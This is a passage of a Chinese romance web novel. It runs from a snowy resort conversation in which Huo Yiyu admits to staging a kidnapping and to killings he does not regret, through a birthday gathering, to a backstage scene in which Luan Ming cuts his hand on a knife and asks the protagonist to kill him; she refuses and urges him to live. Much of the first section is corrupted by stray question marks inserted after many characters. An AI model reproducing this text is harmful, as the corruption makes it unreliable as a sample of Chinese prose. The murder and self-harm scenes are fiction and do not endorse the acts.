他眼睫低垂,脸上没什么激烈的表情,甚至因为背光,轮廓显得比平时柔和,像打了层疲惫的滤镜,只是阐述着现实。 而与之相反的是情绪。 它?们像被强行按压在水面下的活物,波动不?平,时而尖锐地刺出一点?,又被他更用力地扭曲着压回去。 像一个捏捏球。 他看?着我,轻声?道:“我们应该说说关于我们的事。” “从最?开?始似乎就应该说明白?,兜兜转转到最?后,我才发现其实不?需要这么麻烦。” 我赞同地点?点?头,“我们应该聊点?什么?” “先换衣服吧。”他说,“我们出去走走。” 雪还在下,推开?门时,冷空气扑面而来,带着松针和冰雪的清新气味。 满天的雪像一床巨大的、蓬松的毛绒被子,缓慢而持续地覆盖着一切,屋顶和远处的山峦都积着厚厚的、柔软的白?色。 我弯腰捏了一团雪,在掌心压实。 雪很凉,但很快就被体温融化表层,变得湿漉漉的,我随手把它?丢向远方,雪团在空中?划出一道弧线,无声?地砸进更深的雪堆里。 和记忆里一样,这里永远是白?色、无声?的,好像时间也?会?变得缓慢。 我转头看?向霍亦瑀,他穿着厚厚的羽绒服,遮挡住半张脸,头发略显凌乱,看?上去一点?也?不?像霍亦瑀。 霍亦瑀走在我身侧半步的位置,偏头看?了我一眼,问?:“想?去泡温泉吗?” “可以!”我欢快地说,“还可以去滑雪,坐雪橇——” “这里人?好少哦。” 我环顾四周,除了我们踩出的两行脚印,雪地上再无其他痕迹,度假村的小木屋零星散布,窗户都暗着。 “因为还不?是放假时间。”霍亦瑀解释道,呼出的白?气迅速消散在风里,“今天只有十多个人?在这。” “那岂不?是可以随便坐雪橇了?” 他点?点?头,目光落在远处被雪覆盖的滑道上,过了片刻,他轻声?说:“先看?看?风景吧。” 再往前一点?的一房有一个高?处的观景台,不?仅可以看?度假村的景色,还可以观赏天空,要是运气好,说不?定?可以看?到极光。 极光就是一种绿色的光。 像是小时候吃的绿舌头,变成果冻摇来晃去的样子。 我们在一处视野开阔的缓坡停下。 天空是灰白?色的,和雪地几乎融在一起,分不?清界限,雪花从看?不?见的高?处持续飘落,安静得让人?耳朵发鸣。 我把栏杆上的雪全部推了下去,趴在上面盯着下面像是蘑菇似的房屋。 呼吸吐出轻飘飘的白?雾,我偷偷尝了口雪,没有味道。 黎鸶的情感也?没有味道。 他这人?来得快,去得也?快,像阵没头没脑的风,也?不?知道现在是活着,还是已经死了。 所有在记忆里灰掉的人?类,只要没说话都可以当做死了。 “我们应该聊点?什么?”我问?。 “就从最?开?始聊起吧。” 霍亦瑀没有看?我,视线落在遥远的地平线:“从我们遇见的时候。” 他顿了顿,似乎在挑选合适的词句。 “我一直以为我们是一种和平的关系,你情我愿,相互给予。” 他的声?音很平稳:“我以为我足够了解规则,足够掌控局面,就算不?是,也?能用时间来弥补一切。” “但都和我想?的不?一样。” 他终于转过脸看?我。雪花落在睫毛上,很快融成细小的水珠,再次凝结为冰霜。 “在你眼里,我和其他人?没有任何区别吧?如?果我没有现在拥有的一切,钱,地位,能给你的资源和便利,你会?站在谁的身边?” 他停顿了一下,没等我回答,自己接了下去:“这种事……只不?过是我的想?法而已,就算这样也?不?影响我的心情,毕竟我的确拥有一切,而你会?留在我身边是必定?的事实。” “不?过。” 他移开?视线,声?音低了下去,“你没有丝毫进一步的想?法,不?靠近,不?远离,不?索取,也?不?抗拒,就像现在这样,站在我身边,但随时可以转身走开?。” 他深吸一口气,因为冰冷的空气而轻微地咳嗽了一声? 我说:“你原本是不?需要的吧,只不?过其他人?来了,所以才变成现在这样吧。” “是因为觉得我是你的东西,觉得我的一切都是你给的,所以你理应掌控一切。” 我看?着他的侧脸,“但是,我不?是你的东西瓜你也?不?是我的,我们之间那些所谓的关系,细想?起来,也?算不?上吧?” 雪似乎下得更密了些。他的肩头、发梢,都积了薄薄一层白?,像个正在慢慢被雪花覆盖的雕像。 霍亦瑀定?定?地看?着我,嘴角拉成一条平直的线,半晌,他嗤笑一声?:“黎鸶和你说了什么?” 我想?了想?,说:“说那个绑架案是你做的。” 沉默在雪中?蔓延,许久,霍亦瑀才极轻地笑了一声?,气息化作一小团白?雾。 “他说的没错。” 他坦然承认,像在陈述一件与己无关的事:“因为想?要试探母亲,所以我做了那件事,她的反应我不?能接受,所以在绑匪动手时,我把他推出去了。” “……那件事没过多久,她就生了病,之后再也?没有分清过我是谁。”他顿了顿,补充道,“我不?喜欢这种事。” 他转过身,正面对着我,雪花在我们之间飞舞,隔出一层晃动的、模糊的屏障,模糊看?不?清他的表情。 “想?要拥有一个人?是件麻烦的事,人?是个变量,不?是物品,不?管怎么样,总是会?出现差错。” 他的目光锁住我,那双眼睛里翻涌着某种复杂难辨的东西:“在我以为足够了解你的时候,你总是能做出让我不?能理解的事。” “所有在你身边的麻烦……一件接着一件。” “你要说我不?够大度的话,大可以去看?看?那些人?的嘴脸,如?果回到以前,说不?定?就没有这些麻烦的事。” 他抬起手,似乎想?碰我的脸,但在半空中?停住了,手指蜷缩起来,慢慢收回身侧。 我看?着他的手,想?了想?,蹲下身,又捏了一个小雪人?,雪很软,很容易塑形。 速成的雪人?歪歪扭扭,被我递给了过去。 他没有接,只是看?着粗糙的雪人?。 就在那一瞬间,我清楚地看?到他身上出现了另一种颜色。 不?是平时那些复杂的情绪混合,而是一种纯粹的、尖锐的红色,像破碎的玻璃碴。 这种颜色很独特,在人?类世界很少见,不?过以前就很常见了。 “你想?杀掉我吗?”我问?。 霍亦瑀抬起眼睛,下颌线绷得死紧,喉结剧烈地滚动了一次。 他闭上眼睛,深吸一口气,再睁开?时,那些翻涌的情绪已经被强行压了下去,只剩下深不?见底的平静。 “或许吧。” 他承认,声?音沙哑:“得不?到的东西总会?让人?心生痛意。” 过了一会?,他重新看?向我,眉宇间的情绪被大雪冲刷,再次变得波澜不?惊。 他转过身,背对着我。 “回去吧。”他说。 我们一前一后往度假屋走,脚印在雪地上延伸,很快又被新的雪覆盖。 我认真地踩他的脚印,问?:  “你觉得我们说通了吗?” 霍亦瑀的脚步顿了顿,雪被踩出咯吱一声?,“说通也?好,没说通也?好,已经不?重要了。” “我知道你是什么样的人?,已经足够了。” “什么样的?” 我快走几步,与他并肩,去看?他的表情,终于看?到了宛如?冰面破裂般、流露出隐约可见的恨意的表情。 强烈的情绪扑面而来,像是狂风暴雪,但是什么味道也?没有。 他侧过脸,雪花沾在他睫毛和脸颊上,冷风把他颧骨处刮出两片冻红。 “……自由的。”他缓缓说,每个字都哽在喉咙里,像是从牙缝里挤出来的:“没有欲望的,像这雪一样,什么都没有。” “我明明要的挺多的。”我反驳。 “但你很快就不?需要了。” 他的嘴角扯出一个极淡的弧度,分不?清是笑还是别的什么:“你总是满足别人?,对你来说,没有什么是足够重要、重要到非它?不?可的事,将人?生当做游戏,对你来说,我很好玩是吧?” 我点?点?头,看?到他的瞳孔收缩又放大,浓郁的黑从身躯溢出,像是流淌的淤泥。 我抬手摸了一下,只碰到了冷风。 他一把抓住了我抬起的手腕,力道很大。 “我希望……”他声?音喑哑,盯着我的眼睛,“我永远没有问?出刚才那句话,也?永远没有得到这个答案。” 他的目光很深,像要把我刻进眼底:“这样也?好,保持这份心情吧,让我足够后悔……在梦里也?回想?起现在的心情。” “就在这吧。”他说,松开?手。 我左看?右看?,发现正站在接送的站台下,恍然大悟:“你不?走吗?” “因为官司的事,公司的事,我把产业转移到国外了。” 他语气平淡:“当年的遗嘱我的确做了手脚,在他行动之前,我已经将核心资产转移了,接下来很长一段时间,我都需要在国外处理这些。” “你哥是我见过最?疯的蠢货。” 霍亦瑀沉默了片刻:“但像他这种小人?物,轻视是不?行的。” 他看?着我,看?了很久。雪花落在他肩头,积了薄薄一层,他最?终什么也?没说,只是抬起手,似乎想?碰碰我的头发,但手伸到一半,又放了下去。 “去吧。”他转开?视线,声?音很低,“我知道他会?来找你的。” 他顿了顿,补充道,声?音更轻了:“如?果你回头……我会?忍不?住将你留下的。” 我转身,往雪地深处走去。一步,两步,雪在脚下发出轻微的咯吱声?,走了十几步后,我回过头往后看?去。 霍亦瑀还站在原地,他静静地看?着我离开?的方向,呼吸在冰冷的空气中?凝成一团团急促的白?雾,升起,又迅速消散。 那张总是游刃有余的脸上,此刻什么表情也?没有。 “那些死掉的人?,”他的声?音穿过飘雪传来,清晰而平静,“我不?后悔除掉他们,唯一可惜的是没有快一点?除掉。” 我诚心劝诫道:“杀人?是不?好的。” 霍亦瑀极淡地笑了一下,嘴边的伤口上扬,雪花落进他眼睛里,他眨都没眨。 他说:“现在还能对我说出这种话,该说你温柔还是绝情呢。” “走吧。” 他说:“别再回头了。” 外面快冻死了,我要回去享受壁炉和热茶。 我朝他挥挥手,转身继续往前走,雪越下越大,几乎遮蔽了视线。 我深一脚浅一脚地走着,不?知走了多久,直到周围的景色逐渐熟悉,度假屋的灯光仍旧在雪幕中?温暖地亮着。 然后,那股熟悉的柠檬气息,毫无预兆地出现在身边。 雪地上,多出了一道影子,沉默地叠在我的影子上。 我停下脚步,没有回头。 我问?:“你满意了吗?” 身后没有声?音,只有雪花落下的簌簌轻响。 我转过身。 栾明站在几步之外,他没穿厚外套,只套了件单薄的毛衣,肩上、头发上落满了雪,整个人?像刚从雪里挖出来。 他的脸色苍白?得几乎透明,嘴唇冻得发紫,黑沉的眼睛深不?见底,紧紧锁着我。 “现在只剩下我们了。”我说,“其他人?都随你的心意离开?了,啊不?,还有两个你不?在意的,一个生病,一个毫无竞争力。” 栾明:“……” “告诉我吧。”我朝他走近一步,“你的愿望。” 他依然沉默,只是看?着我,雪花落在他睫毛上,他眨也?不?眨,任它?们融化,变成细小的水珠滑落脸颊。 “好吧。”我叹了口气,踩了下脚边的雪,“你真倔。” “但是我还是要走了。”我平静地宣布,“在演唱会?之后,我要离开?了。” 我顿了顿,补充道:“如?果你想?要的话,尸体可以留给你。” “……不?要。” 他终于开?口,声?音哑得厉害,像砂纸磨过粗糙的表面:“不?要走!” 他忽然向前几步,几乎踉跄地来到我面前,冰冷的双手捧住我的脸,动作急迫却异常轻柔,他的手指在颤抖,掌心却烫得惊人?。 然后他低下头,几乎虔诚地吻了下来。 不?是湿漉漉的,而是颤抖的、带着冰冷干燥的触碰,他的嘴唇冰凉,一遍又一遍落下,像在确认我的存在。 当他抬起头时,脸上已经湿了一片,泪水混着雪水,沿着下颌线不?断滴落。 他用流泪的眼睛看?着我,嘴唇颤抖着:“不?要走,我已经解决完所有事了……我们回家,回家好不?好?” 我愣了下,不?由感慨道:“你真的打算继续装下去啊。” “只要是能够在一起,”他声?音颤抖,“什么都可以做,假装不?知道,假装没听见,假装一切都没变,什么都可以!” “但那是假的。”我说。 他更紧地捧住我的脸,额头抵着我的额头,滚烫的呼吸扑在我脸上:“不?是,只要有你在,那就是真实的,我不?能离开?你……小冬,我不?能离开?你,不?能……” “可你已经离开?那么久了。” 我疑惑地说:“五年可以,为什么五十年不?可以?” “离开?的每一天,每一分,每一秒……” 他的声?音哽咽了:“就连呼吸都是疼痛的,我无法忍受……没有你的日子,原谅我吧,这五年我里我一直在赎罪,从最?开?始犯的错,一直到今天。” “我终于可以留在你身边了,求你了,别离开?我,你想?要什么都可以!” 他闭上眼,泪水汹涌而出。 “留下吧。” 他祈求道:“我的愿望是让你留下。” 我看?着他。 栾明的身体剧烈地颤抖了一下,他睁开?眼,那双眼睛里最?后一点?光,终于彻底熄灭了。 然后他再次吻下来。这一次不?再是轻柔的触碰,吻不?断落下,落在我的额头、眼睛、脸颊、嘴唇…… 像即将溺毙的人?抓住最?后一根浮木,用尽全身力气,确认着这仅存的温度。 “我是不?是做错了?是不?是一切都是错的?是不?是全都是我的错?” “我不?想?伤害谁……不?想?因为谁而翻来覆去,想?着要背叛谁、轻视谁的生命,不?想?踩在别人?身上往上走……我不?想?,我只想?好好地活着,和你在一起,好好地活着。” “为什么总是这么难?” 他的声?音卡在喉咙里,嘶哑地说:“只是想?要活下去而已,为什么总要被人?夺走。” “除了你,我什么也?不?剩下了。” 栾明哭得很安静,除了身体的抽动,几乎感受不?到他哭泣的声?音,他紧紧攥着我的衣服,重量压向我。 一片雪花旋转着,轻轻掉在我的鼻尖上,瞬间化成一点?冰凉。 我抬起头,头顶上方,暖黄色的灯在漫天飞舞的雪花中?晕开?光晕,照得每一片掠过的雪花都闪闪发亮。 “你做的这些都不?是我想?要的,也?从来不?是我在意的。”我说。 痛苦的情绪起伏着,在他身体里翻滚,像一颗被点?燃引信、一刻不?停嘶嘶作响、随时要爆开?的炸弹。 然而等到终于要爆炸的时候,我突然有点?不?想?看?到了。 毕竟我不?是个喜欢重口的人?嘛。 我抱住他,拍了拍他的背。 “在回去之前,好好相处吧。” 怀里的人?痛苦地弯下腰,无声?的痛苦压得喘不?过气。 良久后,他说:“……好。” 他的眼泪流进我的颈窝里,笑得比哭还难看?。 雪还在下,无声?地覆盖着一切—— 作者有话说:还有两章! 冬子飞吧飞吧不是罪!《 》 第123章【END】 第123章 在雪乡逗留几天后, 回国的第一件事就是去彩排的体育馆,进行最后一次合练。 不知道?是不是灯光缘故,车千亦看起来比以前憔悴许多?,黑眼?圈差点?掉到地上, 看见我和栾明时, 她一言不发, 只是抬手扶了扶眼?镜,然后重复个七八次。 彩排还是老一套流程,走位、定点?、对口型一气呵成,将假唱发挥到极致。 我站在台上, 能?看见栾明坐在阴影里,身形笔直得像截木桩。 不远处,车千亦又扶了一次眼?镜, 镜片反光亮得像是灯泡 下台时,她来到我身边,沉默良久才开口:“我还以为你会和霍亦瑀一起留在国外。” 我疑惑:“那怎么表演啊?” 她转过脸来看我,像是确认什?么似的, 缓慢地吐出一口气,随即别过头去:“我以为你会轻而易举放弃,对工作你一直不上心,是我刻板印象了。” “我一定会好好工作的。”我拍了拍她的肩膀, “小车辛苦了。” “……” 车千亦摘下眼?镜揉了揉鼻梁, 罕见地抱怨道?:“你要是真?敢跑路, 我绝对会追到天涯海角, 也要揪着你耳朵让你给?我道?歉,我手下就你一个艺人,一个麻烦……已经够我受一辈子了。” 我眨了眨眼?, 还没?来得及回应,她已经转身离开,步伐快得有些仓皇。 栾明这时才像解除定身咒般走过来,接过我搭在臂弯的外套,动作轻缓:“回家吗?” 他的声音很轻:“还是想去哪里转转?” “回家吧。”我收回视线。 在离开前,我一定要好好地再看一眼?我心爱的房子,真?可?惜啊,不能?把它带走。 栾明坐进驾驶座,车子平稳驶向回家的方?向,这几天在雪地疯玩的倦意涌上来,加上刚结束彩排,我在后座很快睡了过去。 再醒来时,车厢里只亮着一盏暖黄的小灯,栾明从前座半转过身,侧脸在昏暗光线下显得格外柔和。 “你先?进去吧,”他声音放得很轻,“我收拾一下东西。” 我点?头,打开车门朝家的方?向走去。 刚靠近门口,我闻到了熟悉的气息。 薄荷的气息夹杂着巧克力,让我清醒了不少,在打开房门前,我把无形的情感塞进肚子。 人还没?见到,砰砰几声炸响就先?撞进了耳朵。 彩带和亮片哗啦啦从头顶倾泻而下,两个打扮得花里胡哨、活像从廉价派对广告里走出来的人站在门口两侧。 宗朔放下礼炮,表情熟稔得像昨天才见过:“哟,好久不见。” 另一侧的麦景则安静得多?。他戴着黑色眼?罩,露出的那半边脸在室内光下显得有些苍白。 他手里也拿着礼炮,但似乎没?完全拉响,只局促地捏着筒身,嘴角抿出一个小心翼翼的弧度,声音轻得像羽毛:“欢迎回来,小冬。” 我的视线从头顶的红帽子、五颜六色的衣服,滑到满地亮晶晶的彩带上,又抬头确认了一遍门牌号。 “别看了,这就是你家。” 宗朔说着,让开身位,从身后扯出一串五颜六色的气球,塞进我的手里,抱怨道?:“可?算盼回咱们的大忙人了,公司的事甩手不管,手机一关逍遥快活,真?不怕我这颗脆弱的心脏咔嚓一下碎掉?那你可?就真?见不着我了。” 我看了眼?快要触顶的气球,脑子里的疑惑更多?了。 等扯着这堆气球,来到被打扮过的客厅时。 房间显然被打扫过,窗明几净,但此刻四处挂满了闪闪发光的彩带,茶几上还摆着几个没?吹完的气球,显然还来不及装饰完。 “你不还活蹦乱跳的么。”我拽了拽气球绳子,它们轻轻碰撞,于是撒手,让它们飞到天花板。 宗朔呵呵两声,抢先?陷进沙发里,懒洋洋地倚着靠垫,麦景则安静坐下,手里仍攥着那只礼炮。 我左看右看,疑惑道?:“所以你们是来……” “来看你,不行吗?” 宗朔挑眉:“你不来,我总可?以来吧。” 我耸耸肩,瘫倒在沙发上,说:“我还以为你会一直待在办公室里呢。” “最近麻烦少了,去不去都可?以,过年都没?休息,现在总得让我休息一会吧。”宗朔撑着头,懒散地说,“还好,冬天过去,我还活着。” 总是把活着死啊挂在嘴边,但他看上去活得很自在,有种什?么摆烂的美感。 麦景在旁窸窸窣窣地动着,目光像蜗牛的触角,悄悄探过来又缩回去。 我盯着他的眼?罩看,他越发窘迫,手指无意识地抠着礼炮边缘。 “别看了。”宗朔说,“眼?睛才装进去呢,还见不得光。” 我点?点?头,叮嘱道?:“下次不要再取出来了。” 麦景松了口气,将一个纸袋塞进我手里。里面是厚厚一叠银行卡和合同?。 “礼物,”他简短地说,“送给?小冬的。” 好多?个零,我欣赏了会,然后将它们放在桌面上。 麦景愣了愣,默默坐直了身体。 “早说了这些入不了她的眼,不信邪。” 宗朔嗤笑:“还不如学我,什?么也不带。” “那你出去。”我说。 他笑呵呵地从口袋里抽出一张纸,塞进我的手里:“当然也不是什?么都没?有带,这些年的私房钱,全给?你了。” 我接过来,看也没?看,就压在了麦景的文?件袋上,颇为云淡风轻地说:“谢了。” 宗朔倒吸一口凉气,似笑非笑地说:“还会说谢谢呢,我回去要感动哭了。” 我朝他做了个鬼脸,他笑而不语,拿起桌上的杯子,自己倒了杯水。 栾明还没?进来。我打开电视,找了个最狗血的家庭伦理剧,剧中人正声嘶力竭地争吵,宗朔看得直咂舌,连连摇头。 手机震动,拨号来自未知号码。 麦景在我耳边说:“是的拘留所的电话。” 我看了他一眼?,他平静地说:“在来之前,有人告诉我,他会给?你打电话。” 被拘留的……那是邛浚了。 我接通电话,果不其然听到对面传来清爽又欠揍的声音,尾音微扬,活跃地跳进耳朵里面:“好久不见啊,想我了没??” 我:“你还没?进监狱吗?” “还没?判刑呢。” 听筒里传来散漫的笑声,他凑得很近,呼吸声清晰可?闻。 他幸灾乐祸地说:“我就知道?霍亦瑀会翻车,天道?好轮回嘛,这下他没?心思搞我了,等判完上诉,我迟早出来。” “不会判死刑吗?” 邛浚笑得停不下来:“颜升的尸体还没?找到,怎么能?算我把他杀了呢,对不对,凭借我的口才,他就算死无葬身之地也要变成仍有一线生?机。” 他说:“别担心,那些老家伙也不会对我做什?么。” 我嗯了一声,电视里正演到高潮,宗朔发出夸张的作呕声,被电话那头听见了。 “真?热闹。”邛浚感慨道?,“什?么时候我也体会下就好了。” “等你坐牢完了再说吧。” 手机嗡嗡震动,又弹出几条新的消息,我瞥了眼?,说:“我要挂了。” “先?别挂。” 他忽然放软语气,笑嘻嘻地说:“今天打来还有个事,要开演唱会了吧?能?不能?录下来留给?我,我想看,顺便还可?以高价出售呢,双赢啊。” “你自己找资源吧。” “诶诶诶——” 我挂断电话,嘟声截断了他未完的话。 新发来的消息,除了朋友们祝贺演唱,还有原本?在沉寂在列表的人。 泉越泽发了一条消息又撤回了。 [泉越泽]:演唱会顺利 不知道?是不是商量好的,柯觅山也发来的祝贺消息,不过很快他就撤回了,只剩下一个孤零零的、熟悉的表情。 ^^。 是在什?么意思? 我正琢磨着。 宗朔看了我一眼?,慢悠悠地说:“在监狱还不忘给?你打电话,这家伙也是个狠人。” “在拘留所。”我纠正道?,“还没?判刑呢。” “祝他死刑,或者无期徒刑。” 我夸奖道?:“你嘴真?毒。” 宗朔耸了耸肩,慢悠悠地说:“好吧,那让我来说点?好话。” “在演唱会开始前,让我祝愿某个无忧无虑、不受别人影响的大明星永远开心快乐,保持现在的心态,不论别人说什?么,做什?么,永远都别回应,希望你永远也不要变……做你自己。” 我挑眉盯着他,深刻怀疑他在阴阳怪气。 宗朔脸上的懒散忽然融化了,逐渐变成认真?的神态。 他伸手取下自己头上那顶滑稽的红帽子,轻轻扣在我头顶,帽子有点?大,滑下来遮住了一点?视线,遮挡住我看他的视线。 “当然,我说的都是褒义的。” “还有。”他说,“生?日?快乐,大寿星。” 寿星,谁?我吗? 我迟疑地眨了下眼?睛,恍然地意识到了自己已经507岁的事实。 不过生?日?这个概念,在我漫长记忆里留下的痕迹少得可?怜,只剩下几截模糊的蜡烛光影和包裹礼物的彩纸碎片。 怪不得他们来了。 我抬眼?看向宗朔身后。栾明不知何时已静静站在餐厅与?客厅的交界处,手里捧着一个点?着蜡烛的生?日?蛋糕。 烛火不大,但在略显昏暗的客厅里,那圈暖黄的光晕格外清晰,印在他的眼?底。 他一步步走过来,脚步很轻,将蛋糕小心翼翼放在堆满气球和彩带的茶几中央。 “生?日?快乐,小冬。”他说。 我盯着蛋糕,喃喃道?:“今年的冬天过去得真?快啊。” 栾明将蛋糕往我面前推了推,烛光在他脸上明明灭灭:“这是我们重逢后的第一个生?日?,错过了五个……我不想再错过现在了。” “原来已经过去六年了。” 宗朔靠在沙发里,目光有些放空,像在自言自语:“时间这东西转瞬即逝,我们几个还能?像这样,心平气和窝在一个屋子里吃蛋糕,怎么说呢,也算是个奇迹吧。” “许愿吧,”麦景轻声说,“无论小冬许什?么愿,一定会实现的。” 愿望。 我凝视着那几簇轻轻摇曳的火苗,然后抬眼?,撞进栾明的眼?睛里。 他紧抿着唇,眼?角微微泛着红,一点?水光飞快闪过,被他垂眸遮盖住,嘴角抿出上扬的弧度。 “不想吃的话,没?关系。”他低声说。 什?么也不懂的天使问:“这是人类的什?么仪式?” “生?日?。”我解释道?,“记录你存在了多?久的仪式。” “所以祭品在哪?他们吗?” “跟你这种说不通,你一边待着去吧。” 我闭上眼?睛,双手合十。 当愿望这个词浮现时,大脑却像被清空了一样,只剩下蜡烛燃烧时细微的噼啪声,和鼻尖萦绕的各种情感气味。 闭上眼?睛的黑暗里,有种回到母亲肚子里的安宁,懒洋洋的,什?么也不用想。 但是……挺好的。 我喜欢这种感觉。 我睁开眼?,吹灭蜡烛。 两边哗啦啦地鼓起掌,宗朔撑着下巴笑:“许了什?么愿?现在这儿可?坐着两位圣诞老人,说不定下个圣诞节礼物就自动飞你手里了。” 我瞥他一眼?,抓起蛋糕上的水果塞进他嘴里,宗朔顺从地闭嘴,举起双手投降。 麦景凑近了些,小声问:“小冬许了什?么愿望?” 我想了想,看向默不作声的栾明,他望着我,笑了下,默默切蛋糕,将它们分给?旁边的两个人。 我:“说出来就不灵了。” 最后我们挤在沙发上看完了那部狗血剧,宗朔几次气得站起来又坐下,最后干脆闭眼?装死。 栾明和麦景一直很安静,只是麦景的目光始终落在我身上,压根没?看电视。 离开前,宗朔又问我要票,等我把票放进他手里后,才心满意足地离开。 麦景也拿到一张,笑得格外开心。 至于其他的票,我早早就让车千亦寄给?朋友们了,她们发消息说一定会到,而且要拍很多?张照片,到时候发朋友圈炫耀。 栾明一直陪在我身边,看我一条条回复消息,嘴角带着很淡的笑意,最后,他轻轻握住了我的手。 “有东西要给?你。”他说。 他拿出一个厚厚的档案袋,里面的文?件堆叠,密密麻麻的文?字和数字看得人眼?晕。 “这些年,我名?下所有的资产,能?变现的、不能?变现的,还有最近并购拿到的股权。” 他拿起最上面几张纸,垂眼?看着,指尖因为用力而微微发白:“我请人粗略估算过,小冬你现在的个人资产,加上我控股的这些公司,如果运作得当,下一次的富豪榜单,或许能?看到你的名?字。” 原来不知不觉间,我已经这么有钱了? 我看着那堆代表着巨大财富的纸张,点?了点?头:“好啊,下次大家都知道?我多?有钱了。” “……” 栾明抬起头,朝我笑了笑:“是啊,以前小冬宗朔要当世界首富,如果我再拼一点?,说不定能?在你离开之前,实现这个愿望。” “但是我知道?,”他说,“小冬你其实并没?有真?正想要的东西。” “一直把你当成目标、当成方?向去追赶的我,才是更依赖、更离不开的那个。” 他说着,眼?泪毫无征兆地滚落下:“可?是恨这种东西,一旦在心里生?了根,就怎么也拔不掉了,只要一想到是他把你从我身边夺走,就再也停不下来了。” “有时候我都很诧异,原来我是这种人啊,这种贪婪可?耻、永远也不满足的人。” “到现在……争这些,都没?意义了。” 他忽然在我面前跪了下来,伸出手臂环抱住我的腰,将脸深深埋进我的怀里,温热的湿意透过衣料传来。 “再留一会儿吧。”他的声音闷闷的,颤抖着,“让时间再慢一点?吧。” 我抬起手,摸了摸他的头。 栾明沉默地抱着我,从天黑到天亮,他没?有闭上过眼?睛。 我用手盖住他的眼?睛,就能?感受到持续不断的湿,像是从他身体里涌出了一片海。 在出发去演唱会的前一个小时,他仍然问我昨天许了什?么愿望。 愿望啊。 我应该有一个吗? 抵达演唱会的那天,车千亦早早就到达体育馆,忙得上气不接下气,好不容易松一口气,坐在我旁边喘口气。 “千亦有愿望吗?” 她看了我一眼?:“有,现在就退休。” 我点?点?头:“很快了。” “演唱会之后,好好休息吧,以后也要好好休息,总是太累的话,人生?就没?有意思了。” 车千亦怔了怔,垂下眼?轻声说:“其实……我挺喜欢当你经纪人的,虽然你总惹麻烦,但赚钱也是真?的,更何况,我领着两份工资。” 她转过头,声音有些不自在:“以后也只给?你一个人打工了。” “别再说这种话,”她别过脸,“像在道?别似的。” 门外有人急切地喊她名?字,她深吸一口气,恢复冷静的模样,匆匆对我叮嘱了几句,便拉开门快步走了出去。 化妆师最后为我调整了一下头饰的角度,退后两步,审视着整体效果,满意地点?点?头。 栾明一直站在我侧后方?,靠在墙边,目光沉静,一言不发。 一切准备就绪,化妆师收拾好东西,栾明对她低声说了句什?么,她点?点?头,安静地退出了房间,并带上了门。 我摸起手机,抓紧时间看短剧。 “小冬。” 栾明忽然说:“今天医生?告诉我,浦真?天或许不久后会苏醒,他的脑电波最近很强烈,也有不小的反应。” 我点?点?头,“那很好啊。” 再多?看几眼?,要不然没?得看了。 “……公司那边,最近的业绩不错。”他说,“宗朔说可?以合作,发展新的业务。” 我嗯了声,发现有人发来了消息。 [Y.Y]:演唱会一切顺利 [Y.Y]:这笔账我会继续算下去的 “小冬。” 耳边传来近距离的说话声。 我转过头,对上栾明流泪的眼?睛,不知道?什?么时候,他又开始掉眼?泪了。 栾明半蹲在我座椅旁,仰头看着我,灯光从他头顶落下,在他眼?窝处投下深深的阴影。 “我不能?离开你。”他竭力抑制住情绪,喉咙疼痛得说不出话,“我没?办法……想象你离开。” 泪水汇聚到下巴,滴落我的衣服上,留下深色的圆点?。 无数混乱的情绪在他眼?中疯翻涌,最后坍缩成一片浓得化不开的黑。 黑色从他的眼?睛里流出,不停地涌出,直到彻底覆盖住整个人。 他抬起手,摊开掌心。 一把刀横在那里。 “如果你要走……” 他顿了顿,仿佛用尽了全身力气,才将后半句话挤出齿缝:“我也不能?独自活下去。” 栾明用手紧握住刀刃,刀口嵌进肉里,鲜红的血珠迅速渗出,顺着指缝流下。 然后,他将沾着血的刀柄那一端,颤抖着,却坚定地递向我。 他说:“我的愿望只有一个——杀掉我吧。” “让我停止痛苦、停止思考……让所有的事都停下吧,对我来说这是解脱。” “我的人生?从你出生?起就分不开了,所以,结束吧,结束这一切,就当我胆小自私,接受不了没?有你的世界。” 我低头,盯着递到我眼?前的刀柄。 刀刃被血染红,他握得很紧,指节发白,更多?的血涌出来,滴滴答答落在地毯上。 门外,隐约传来工作人员急促的脚步声、对讲机模糊的呼叫,以及遥远的前台传来的、如同?海潮般逐渐高涨的粉丝呼喊声。 那些声音构成一个喧闹沸腾的世界,将我们所在的房间隔开,狭小、安静,像一个封闭起来的盒子。 “……” “我还有个愿望没?用。”我忽然说道?。 他猛地抬头,眼?中翻涌的情绪骤然缩成针尖,像窒息般踉跄一步,跪倒在地,手指死死攥住我的衣角。 “你的确是个自私鬼。” 我看着眼?前这团扭曲得不成人形的黑影,伸出了手。 指尖穿过虚幻的负面情绪,触碰到他湿漉漉的、温热的脸颊。 我说:“但人自私,也没?什?么不对。如果不为自己想,不为自己做点?什?么,那还算是活着吗?” 血液流动着,手下的人喘息着,窒息般抓住我的手,浑身颤抖。 “我的愿望很简单。”我说,“希望你可?以活下去。” “生?命是很重要的,虽然人很容易死掉,但活着是比死亡更重要的事。” 我认真?地说:“对我来说,努力活着比什?么都好,只要能?呼吸,就坚强地活下去吧。” 活下去三个字像是咒语一样,从母亲对我说的话,但现在我对他说的话。 小小的咒语不停地回响。 “穷的时候都活下来了,为什?么现在要选择死呢?” 我说:“活下去吧,我的愿望是你能?够活下去。” “不……不要这么对我……小冬,别这样——” 我捧住他的脸,在一片漆黑中找到他的眼?睛,轻轻吻了吻他的额头。 就像以前,他总会这样轻轻吻我的额头,然后说一句晚安。 人类总是喜欢给?许多?无意义的事,赋予新的意义。 那些翻腾的黑色倏然褪去,露出底下那张苍白、布满泪痕的脸。 他看着我,瞳孔颤抖着。 “这个世界嘛。”我说,“其实很好,我还没?看完,你也去替我看看吧。” 我将他紧握刀刃的手一根一根掰开,脱离时,涌出了更多?鲜血,我把刀拿过走,放在化妆台上。 “等会儿,”我按了按他的肩膀,认真?地说,“要在台下,好好看我表演啊。” 门外,敲门声几乎在同?一时刻响起,伴随着工作人员焦急到变调的呼喊:“栾老师!该候场了!最后一遍麦克风检查!” 我最后看了一眼?跪坐在地上、捂着手怔怔望着我的栾明,转身,拉开了化妆室的门。 白光和喧闹的人声瞬间涌了进来。 工作人员一把拉住我,在迷宫般的后台通道?里疾走,前方?的人潮声越来越清晰、如同?滚雷般越来越近。 隔着厚重的帷幕,我已经能?够嗅到庞大的情感散发出令人头晕目眩的气息。 戴上耳返的瞬间,世界陡然安静,只剩下自己放大的呼吸和心跳。 天使的声音在我脑中幽幽响起:“你还是决定不杀他?” “不想。”我回复道?。 “你一点?都没?变。” 我哼哼两声,反驳道?:“才不是嘞,等会儿你就知道?我多?有名?。” 